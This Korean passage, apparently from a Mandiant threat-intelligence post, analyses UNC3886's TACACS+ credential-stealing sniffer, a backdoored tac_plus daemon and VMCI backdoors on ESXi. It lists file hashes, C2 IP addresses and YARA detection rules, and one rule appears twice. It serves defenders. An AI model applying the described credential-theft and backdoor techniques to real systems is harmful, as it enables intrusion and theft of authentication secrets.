TACACS+ 서버와 같은 인증 서버로 작동하는 시스템에 대한 무단 접근은 보안 운영자에게 악몽과도 같습니다. 공격자는 TACACS+ 서버 데이터베이스에 저장된 아이디, 패스워드 같은 사용자 계정 정보에 접근하거나 조작할 수 있습니다. 이는 합법적인 사용자 계정을 도용하거나 권한을 상승시켜 시스템을 악용하는 데 활용될 수 있습니다. TACACS+ 서버는 사용자별로 시스템이나 네트워크에 대한 접근 권한을 정의하는 정책을 관리합니다. 공격자가 이 정책을 조작할 수 있다면, 원래 권한이 없는 시스템이나 데이터에 접근할 수 있습니다. TACACS+ 서버는 사용자의 로그인 및 시스템 접근 기록을 저장하는 로깅 기능을 제공합니다. 공격자가 TACACS+ 서버에 무단으로 접근해 이러한 로그를 조작한다면 자신의 악성 활동을 숨기고 추적을 어렵게 만들 수 있습니다.

이제 위협 행위자가 대상 네트워크 장비에 대한 접근을 확장하기 위해 수행한 작업을 알아보겠습니다.

LOOKOVER로 TACACS+ 자격 증명 탈취

위협 행위자는 TACACS 서버를 대상으로 네트워크 장비에 대한 접근을 확장하려는 첫 시도로 LOOKOVER를 사용했습니다. LOOKOVER는 C로 작성된 스니퍼로 TACACS+ 인증 패킷을 처리, 복호화하고 그 내용을 저장된 파일 경로에 기록합니다. LOOKOVER는 공개된 libpcap 라이브러리를 사용하여 TCP 패킷을 스니핑합니다.

위협 행위자는 TACACS+ 서버에 /usr/sbin/au<unique_keyword>ditd에 LOOKOVER를 배포했습니다. 샘플은 다음과 같은 환경 변수를 설정해야 합니다.

  • TKEY - TACACS+ 사전 공유 키, 기본 키7ujm^YHN (필수)
  • FILTER - libpcap 필터 문자열(필수)
  • DEVICE - libpcap 캡처 장치(선택 사항)
  • SNFILENAME - 처리된 데이터 출력 경로, 선택 사항으로 기본 값은 /var/lib/libsyslog.so이며 모든 데이터는 0xEF 바이트로 XOR 암호화되어 이 파일에 기록됩니다.

LOOKOVER 샘플 분석 결과 데이터의 처음 두 바이트가 0xC00x01인 TCP 패킷을 처리하고 다음 바이트가 0x01 또는 0x03인지 확인하는 것을 관찰했습니다. 이 패턴은 RFC 8907에 설명된 TACACS+ 패킷 헤더와 일치합니다. 

  • 0xC0은 TACACS+의 메이저 (0xC) 및 마이너 (0x0) 버전 번호를 나타냅니다.
  • 0x01은 패킷 유형이 TAC_PLUS_AUTHEN임을 나타냅니다
  • 다음 바이트는 현재 패킷의 시퀀스 번호를 나타내며, LOOKOVER는 시퀀스 번호가 0x01 또는 0x03인 패킷을 대상으로 합니다. 이는 일반적으로 클라이언트에서 TACACS+ 서버로 전송되는 패킷입니다.

샘플은 플래그 비트가 0x0인지 확인하며, 이는 페이로드가 암호화되었음을 나타냅니다. 플래그 비트가 0x0이면, 샘플은 TCP의 처음 12바이트와 TKEY를 MD5 해시로 결합하여 TACACS+ 복호화를 수행하고, 이 해시를 사용해 나머지 TCP 데이터를 XOR 디코딩합니다. 디코딩된 데이터는 패킷 소스 IP 주소 및 처음 12바이트에서 추출한 정수와 함께 SNFILENAME에 저장됩니다. 

다음 데이터가 0이 아니면, 이는 평문 페이로드를 나타낼 수 있으며, TCP 패킷의 전체 데이터 세그먼트가FILENAME에 기록됩니다. 

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc3886-cloaked-covert-fig5.max-1000x1000.png

그림 5: LOOKOVER가 TACACS+ 패킷 처리를 담당하는 기능

침해된 TACACS+ 서버를 분석하는 동안 맨디언트는 /usr/sbin/au<unique_keyword>ditd코어 덤프 파일의 존재를 확인했습니다. 코어 덤프 파일 분석 결과 위협 행위자가 FILTER 환경 변수를 port 49로, SNFILENAME/var/log/tac_cisco_<unique_keyword>_log로 설정한 것이 밝혀졌습니다. TCP/49는 장치에서 인증 요청을 처리하는 TACACS+ 로그인 호스트에서 사용됩니다. 프로세스는 디스크에 기록하기 전에 추출된 자격 증명을 암호화하려고 시도하다가 충돌했으며, 이는 위협 행위자가 TACACS+를 대상으로 다른 접근 방식을 채택하게 만든 원인이 될 수 있습니다.

백도어를 포함한 TACACS+ 바이너리 

LOOKOVER가 설치된 동일한 TACACS+ 서버에서 맨디언트는 위협 행위자가 합법적인 /usr/bin/tac_plus (TACACS+데몬)를 자격 증명 로깅 기능이 포함된 악성 버전으로 교체하는 것을 관찰했습니다.

악성 버전의 /usr/bin/tac_plus는 TACACS+ 자격 증명을 /var/log/tacu<unique_keyword>cs.log에 기록하는 새로운 함수가 추가되었습니다. 이 함수는 비밀번호가 확인된 후 verify()passwd_file_verify()에 삽입되어 비밀번호가 올바른지 확인한 후 자격 증명을 기록합니다. 수집된 자격 증명 기록은 0xEF로 XOR 처리되어 자격 증명 로그 파일에 추가됩니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc3886-cloaked-covert-fig6.max-600x600.png

그림 6: 자격 증명 수집을 위한 악성 함수

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc3886-cloaked-covert-fig7.max-700x700.png

그림 7: 백도어가 심어진 tac_plus 인증 함수

VMCI 백도어 패밀리

맨디언트는 WMCI(Virtual Machine Communication Interface)를 통신 프로토콜로 사용하는 새로운 백도어 변종을 발견했습니다. WMCI 백도어는 명령 실행을 위해 게스트 간 또는 호스트에서 게스트 간 통신을 가능하게 합니다. ESXi 하이퍼바이저 VMCI 통신을 사용하는 공격에서 주목할 내용을 간단히 정리해 보았습니다.

  • VIRTUALSHINE은 bash 쉘에 접근할 수 있는 간단한 VM웨어 VMCI 소켓 기반 백도어입니다. 이 백도어는 bash pty를 스트리밍하여 대상에 연결합니다.
  • VIRTUALPIE는 하드코딩된 TCP 포트에서 데몬화된 IPv6 리스너를 생성하는 파이썬으로 작성한 백도어입니다. 파일 전송, 임의 명령 실행 및 리버스 쉘 기능을 지원합니다. 맞춤형 프로토콜을 사용해 통신하며, 데이터를 RC4로 암호화합니다.
  • VIRTUALSPHERE는 간단한 VMCI 기반 백도어의 컨트롤러 부분입니다. 악성 소프트웨어는 두 번째 명령줄 인수를 VMCI 소켓을 통해 대상 가상 머신 내부에서 실행 중인 서버로 전송합니다.

VMCI 백도어의 세부 사항은 나중에 별도 블로그 포스팅으로 자세히 다룰 예정이오니 참조 바랍니다.

캠페인 23-022 및 침해 지표 

2023년 3월부터 UNC3886은 Fortinet과 VM웨어 제품의 제로 데이 취약점을 악용하여 기업을 공격하는 캠페인(Campaign 23-022)을 진행했습니다. 맨디언트는 이 공격 캠페인에 대응 및 분석 작업을 하였습니다. 대부분의 피해 조직은 북미, 동남아시아, 오세아니아 지역에 위치하였습니다. 이외에도 유럽, 아프리카, 아시아 다른 지역에서도 추가 피해자가 있다는 증거도 확인했습니다. 주요 공격 대상은 정부 기관, 통신 사업자, IT 기업, 항공 우주 및 방위, 에너지 및 공공 서비스 조직이었습니다.

맨디언트는 이 포스팅을 통해 주요 분석 내용과 함께 공격 탐지와 식별에 필요한 일부 침해 지표와 GTI 컬렉션 정보를 공유합니다.

호스트 기반 침해 지표

Filename

MD5

Family

Role

gl.py

381b7a2a6d581e3482c829bfb542a7de

 

UTILITY

install-20220615.py

876787f76867ecf654019bd19409c5b8

 

INSTALLER

lsuv2_nv.v01

827d8ae502e3a4d56e6c3a238ba855a7

 

ARCHIVE

payload1.v00

9ea86dccd5bbde47f8641b62a1eeff07

 

ARCHIVE

rdt

fcb742b507e3c074da5524d1a7c80f7f

 

ARCHIVE

sendPacket.py

129ba90886c5f5eb0c81d901ad10c622

 

UTILITY

sendPacket.py

0f76936e237bd87dfa2378106099a673

 

UTILITY

u.py

d18a5f1e8c321472a31c27f4985834a4

 

UTILITY

vmware_ntp.sh

4ddca39b05103aeb075ebb0e03522064

 

LAUNCHER

wp

0e43a0f747a60855209b311d727a20bf

GHOSTTOWN

UTILITY

aububbaditd

1d89b48548ea1ddf0337741ebdb89d92

LOOKOVER

SNIFFER

bubba_sniffer

ecb34a068eeb2548c0cbe2de00e53ed2

LOOKOVER

SNIFFER

ksbubba

89339821cdf6e9297000f3e6949f0404

MOPSLED.LINUX

BACKDOOR

ksbubba.service

c870ea6a598c12218e6ac36d791032b5

MOPSLED.LINUX

LAUNCHER

99-bubba.rules

1079d416e093ba40aa9e95a4c2a5b61f

REPTILE

LAUNCHER

admin

ed9be20fea9203f4c4557c66c5b9686c

REPTILE

BACKDOOR

authd

568074d60dd4759e963adc5fe9f15eb1

REPTILE

BACKDOOR

bubba

4d5e4f64a9b56067704a977ed89aa641

REPTILE

LAUNCHER

bubba_icmp

1b7aee68f384e252286559abc32e6dd1

REPTILE

BACKDOOR

bubba_loader

b754237c7b5e9461389a6d960156db1e

REPTILE

BACKDOOR

client

f41ad99b8a8c95e4132e850b3663cb40

REPTILE

BACKDOOR

dash

48f9bbdb670f89fce9c51ad433b4f200

REPTILE

LAUNCHER

listener

4fb72d580241f27945ec187855efd84a

REPTILE

BACKDOOR

packet

e2cdf2a3380d0197aa11ff98a34cc59e

REPTILE

CONTROLLER

authdd

fd3834d566a993c549a13a52d843a4e1

REPTILE.SHELL

BACKDOOR

authdd

4282de95cc54829d7ac275e436e33b78

REPTILE.SHELL

BACKDOOR

bubba_reverse

c9c00c627015bd78fda22fa28fd11cd7

REPTILE.SHELL

BACKDOOR

unknown

047ac6aebe0fe80f9f09c5c548233407

REPTILE.SHELL

BACKDOOR

usbubbaxd

bca2ccff0596a9f102550976750e2a89

RIFLESPINE

BACKDOOR

audit

3a8a60416b7b0e1aa5d17eefb0a45a16

TINYSHELL

CONTROLLER

lang_ext

6e248f5424810ea67212f1f2e4616aa5

TINYSHELL

BACKDOOR

sync

5d232b72378754f7a6433f93e6380737

TINYSHELL

CONTROLLER

x64

3c7316012cba3bbfa8a95d7277cda873

VIRTUALGATE

DROPPER

ndc4961

9c428a35d9fc1fdaf31af186ff6eec08

VIRTUALPEER

UTILITY

lsu_lsi_.v05

2716c60c28cf7f7568f55ac33313468b

VIRTUALPIE

ARCHIVE

vmsyslog.py

61ab3f6401d60ec36cd3ac980a8deb75

VIRTUALPIE

BACKDOOR

vmware_local.sh

bd6e38b6ff85ab02c1a4325e8af29ce4

VIRTUALPIE

LAUNCHER

cleanupStatefulHost.sh

9ef5266a9fdd25474227c3e33b8e6d77

VIRTUALPITA

LAUNCHER

client

a7cd7b61d13256f5478feb28ab34be72

VIRTUALPITA

BACKDOOR

duci

cd3e9e4df7e607f4fe83873b9d1142e3

VIRTUALPITA

BACKDOOR

payload1

62bed88bd426f91ddbbbcfcd8508ed6a

VIRTUALPITA

ARCHIVE

rdt

8e80b40b1298f022c7f3a96599806c43

VIRTUALPITA

BACKDOOR

rhttpproxy

c9f2476bf8db102fea7310abadeb9e01

VIRTUALPITA

BACKDOOR

rhttpproxy-IO

2c28ec2d541f555b2838099ca849f965

VIRTUALPITA

BACKDOOR

rpci

2bade2a5ec166d3a226761f78711ce2f

VIRTUALPITA

BACKDOOR

ssh

969d7f092ed05c72f27eef5f2c8158d6

VIRTUALPITA

BACKDOOR

nds4961l.so

084132b20ed65b2930129b156b99f5b3

VIRTUALSHINE

BACKDOOR

네트워크 기반 지표

IPv4

ASN

Netblock

8.222.218.20

45102

Alibaba

8.222.216.144

45102

Alibaba

8.219.131.77

45102

Alibaba

8.219.0.112

45102

Alibaba

8.210.75.218

45102

Alibaba

8.210.103.134

45102

Alibaba

47.252.54.82

45102

Alibaba

47.251.46.35

45102

Alibaba

47.246.68.13

45102

Alibaba

47.243.116.155

45102

Alibaba

47.241.56.157

45102

Alibaba

45.77.106.183

20473

Choopa, LLC

45.32.252.98

20473

Choopa, LLC

207.246.64.38

20473

Choopa, LLC

149.28.122.119

20473

Choopa, LLC

155.138.161.47

20473

Gigabit Hosting Sdn Bhd

154.216.2.149

55720

Gigabit Hosting Sdn Bhd

103.232.86.217

55720

Gigabit Hosting Sdn Bhd

103.232.86.210

55720

Gigabit Hosting Sdn Bhd

103.232.86.209

55720

Gigabit Hosting Sdn Bhd

58.64.204.165

17444

HKBN Enterprise Solutions Limited

58.64.204.142

17444

HKBN Enterprise Solutions Limited

58.64.204.139

17444

HKBN Enterprise Solutions Limited

165.154.7.145

135377

Ucloud Information Technology Hk Limited

165.154.135.108

135377

Ucloud Information Technology Hk Limited

165.154.134.40

135377

Ucloud Information Technology Hk Limited

152.32.231.251

135377

Ucloud Information Technology Hk Limited

152.32.205.208

135377

Ucloud Information Technology Hk Limited

152.32.144.15

135377

Ucloud Information Technology Hk Limited

152.32.129.162

135377

Ucloud Information Technology Hk Limited

123.58.207.86

135377

Ucloud Information Technology Hk Limited

123.58.196.34

135377

Ucloud Information Technology Hk Limited

118.193.63.40

135377

Ucloud Information Technology Hk Limited

118.193.61.71

135377

Ucloud Information Technology Hk Limited

118.193.61.178

135377

Ucloud Information Technology Hk Limited

YARA 룰

rule M_Sniffer_LOOKOVER_1 {
meta:
  author = "Mandiant"
strings:
  $str1 = "TKEY" 
  $str2 = "FILTER" 
  $str3 = "DEVICE" 
  $str4 = "SNFILENAME" 
  $str5 = "/var/lib/libsyslog.so" 
  $code = {8B 55 F8 48 8B 45 E8 48 01 C2 8B 45 FC 48 8D 0C 85 00 00 00 00 
48 8B 45 E0 48 01 C8 8B 00 88 02 8B 45 F8 83 C0 01 89 C2 48 8B 45 E8 48 01 
C2 8B 45 FC 48 8D 0C 85 00 00 00 00 48 8B 45 E0 48 01 C8 8B 00 C1 E8 08 88 
02 8B 45 F8 83 C0 02 89 C2 48 8B 45 E8 48 01 C2 8B 45 FC 48 8D 0C 85 00 00 
00 00 48 8B 45 E0 48 01 C8 8B 00 C1 E8 10 88 02 8B 45 F8 83 C0 03 89 C2 48 
8B 45 E8 48 01 C2 8B 45 FC 48 8D 0C 85 00 00 00 00 48 8B 45 E0 48 01 C8 8B 
00 C1 E8 18 88 02 83 45 FC 01 83 45 F8 04} 
condition:
  uint32(0) == 0x464c457f and filesize < 5MB and all of them
}
rule M_Utility_GHOSTTOWN_1 {
meta:
  author = "Mandiant"
strings:
  $code1 = { 2F 76 61 72 2F 6C 6F 67 } 
  $code2 = { 2F 76 61 72 2F 72 75 6E } 
  $debug1 = "=== results ===" ascii
  $debug2 = "=== %s ===" ascii
  $debug3 = "searching record in file %s" ascii
  $debug4 = "record not matched, not modifing %s" ascii
  $debug5 = "delete %d records in %s" ascii
  $debug6 = "NEVER_LOGIN" ascii
  $debug7 = "you need to specify a username to clear" ascii
  $pattern1 = "%-10s%-10s%-10s%-20s%-10s" ascii
  $pattern2 = "%-15s%-10s%-15s%-10s" ascii
condition:
  uint32(0) == 0x464C457F and all of them
}
rule M_Utility_VIRTUALPEER_1 {
    meta:
        author = "Mandiant"
    strings:
        $vmci_socket_family = {B? 00 00 00 00 B? 02 00 00 00 B? 28 00 
00 00 e8 [4-128] B? 00 00 00 00 48 8d [5] b? 00 00 00 00 e8 [4-64] B? 
00 00 00 00 48 8d [5] b? 00 00 00 00 e8 [4-64] B? B8 07 00 00 [0-8] b? 
00 00 00 00 e8}
        $vmci_socket_marker1 = "/dev/vsock" ascii wide
        $vmci_socket_marker2 = "/vmfs/devices/char/vsock/vsock" 
ascii wide
        $vmci_socket_init_bind_listen = {e8 [4] 89 45 [4-64] 8B 45 ?? b? 
00 00 00 00 b? 01 00 00 00 [0-4] e8 [4-128] B? 10 00 00 00  [1-16] e8 
[4-128] BE 01 00 00 00 [1-16] e8 [4] 83 F8 FF}
        $socket_read_write = {BA 01 00 00 00 48 89 CE 89 C7 E8 [4] 48 
85 C0 [1-64] BA 01 00 00 00 48 89 CE 89 C7 E8 [4] 48 85 C0 7e ?? eb}
        $marker1 = "nc <port>"
    condition:
        uint32(0) == 0x464c457f and all of them
          
}
rule M_Hunting_VIRTUALPITA_1
{
    meta:
        author = "Mandiant"
    strings:
        $forpid = { 70 69 64 20 [0-10] 69 6E 20 60 [0-10] 70 73 20 2D [0-10] 
63 20 7C 20 [0-10] 67 72 65 70 [0-10] 20 76 6D 73 [0-10] 79 73 6C 6F [0-10] 
67 64 20 7C [0-10] 20 61 77 6B [0-10] 20 27 7B 20 [0-10] 70 72 69 6E [0-10] 
74 20 24 31 [0-10] 20 7D 27 60 [0-10] 3B 20 64 6F [0-10] 20 6B 69 6C [0-10] 
6C 20 2D 39 [0-10] 20 24 70 69 [0-10] 64 3B 20 64 [0-10] 6F 6E 65 00 }
        $vmsyslogd = { 2F 75 73 72 [0-10] 2F 6C 69 62 [0-10] 2F 76 6D 77 
[0-10] 61 72 65 2F [0-10] 76 6D 73 79 [0-10] 73 6C 6F 67 [0-10] 2F 62 69 6E 
[0-10] 2F 76 6D 73 [0-10] 79 73 6C 6F [0-10] 67 64 00 00 }
    condition:
        uint32(0) == 0x464c457f and any of them
}
rule M_APT_Launcher_REPTILE_1 {
meta:
  author = "Mandiant"
strings:
  $str1 = {B8 00 00 00 00 E8 A1 FE FF FF 48 8B 85 40 FF FF FF 48 
83 C0 08 48 8B 00 BE 00 00 00 00 48 89 C7 B8 00 00 00 00 E8 ?? 
FD FF FF 89 45 ?8 48 8D 95 50 FF FF FF 8B 45 ?8 48 89 D6 89 C7 
E8 ?? 0? 00 00 48 8B 45 80 48 89 45 F0 48 8B 45 F0 48 89 C7 E8 
?? F? FF FF 48 89 45 ?8 48 8B 55 F0 48 8B 4D ?8 8B 45 ?8 48 89 
CE 89 C7 E8 ?? FC FF FF 48 8B 55 F0 48 8B 45 ?8 B9 4? 0C 40 00 
48 89 C6 BF AF 00 00 00 B8 00 00 00 00 E8 ?? FC FF FF E8 ?? FC 
FF FF 8B 00 83 F8 25 75 07 C7 45 ?C 00 00 00 00 } 
  $str2 = {81 7D F? FF 03 00 00 7E E9 BE 02 00 00 00 BF ?? 0C 40 
00 B8 00 00 00 00 E8 ?? F? FF FF 89 45 F? 8B 45 F? BE 01 00 00 
00 89 C7 E8 ?? FD FF FF 8B 45 F? BE 02 00 00 00 89 C7 E8 ?? F? 
FF FF C9 C3} 
condition:
  uint32(0) == 0x464C457F and all of them
}
rule M_APT_Backdoor_VIRTUALSHINE_1 {
    meta:
        author = "Mandiant"
	strings:
		$str1 = "/dev/vsock"
		$str2 = "/vmfs/devices/char/vsock/vsock"
		$str3 = "nds4961l <cid> <vport>"
		$str4 = "[!] VMCISock_GetAFValue()."
		$str5 = "[+] Connected to server.[ %s:%s ]"
		$str6 = "TERM=xterm"
		$str7 = "PWD=/tmp/"
	condition:
		uint32(0) == 0x464C457F and all of them
          
}
rule M_APT_BACKDOOR_MOPSLED_1
{
	meta:
		author = "Mandiant"
	strings:
		$x = { e8 ?? ?? ?? ?? 85 c0 0f 85 ?? ?? ?? ?? 4? 8d ?? ?4 ?8 
be ?? ?? ?? ?? e8 ?? ?? ?? ?? 84 c0 0f 84 ?? ?? ?? ?? 4? 8b 94 ?? ?? ?? ?? 
?? 4? 8b 44 ?? ?? 4? 89 e1 [0-6]  be ?? ?? ?? ?? b? ?? ?? ?? ?? 4? 89 10 8b 
94 ?? ?? ?? ?? ?? [0-6] 89 50 08 4? 8b 54 ?? ?? c7 42 0c ?? ?? ?? ?? e8 
?? ?? ?? ?? }
    condition:
          uint32(0) == 0x464c457f and uint8(4) == 2 and filesize < 5MB and $x
}
rule M_APT_BACKDOOR_MOPSLED_1
{
	meta:
		author = "Mandiant"
	strings:
		$x = { e8 ?? ?? ?? ?? 85 c0 0f 85 ?? ?? ?? ?? 4? 8d ?? ?4 
?8 be ?? ?? ?? ?? e8 ?? ?? ?? ?? 84 c0 0f 84 ?? ?? ?? ?? 4? 8b 94 
?? ?? ?? ?? ?? 4? 8b 44 ?? ?? 4? 89 e1 [0-6]  be ?? ?? ?? ?? b? ?? ?? 
?? ?? 4? 89 10 8b 94 ?? ?? ?? ?? ?? [0-6] 89 50 08 4? 8b 54 ?? ?? 
c7 42 0c ?? ?? ?? ?? e8 ?? ?? ?? ?? }
    condition:
          uint32(0) == 0x464c457f and uint8(4) == 2 and filesize < 5MB and $x
}
게시 위치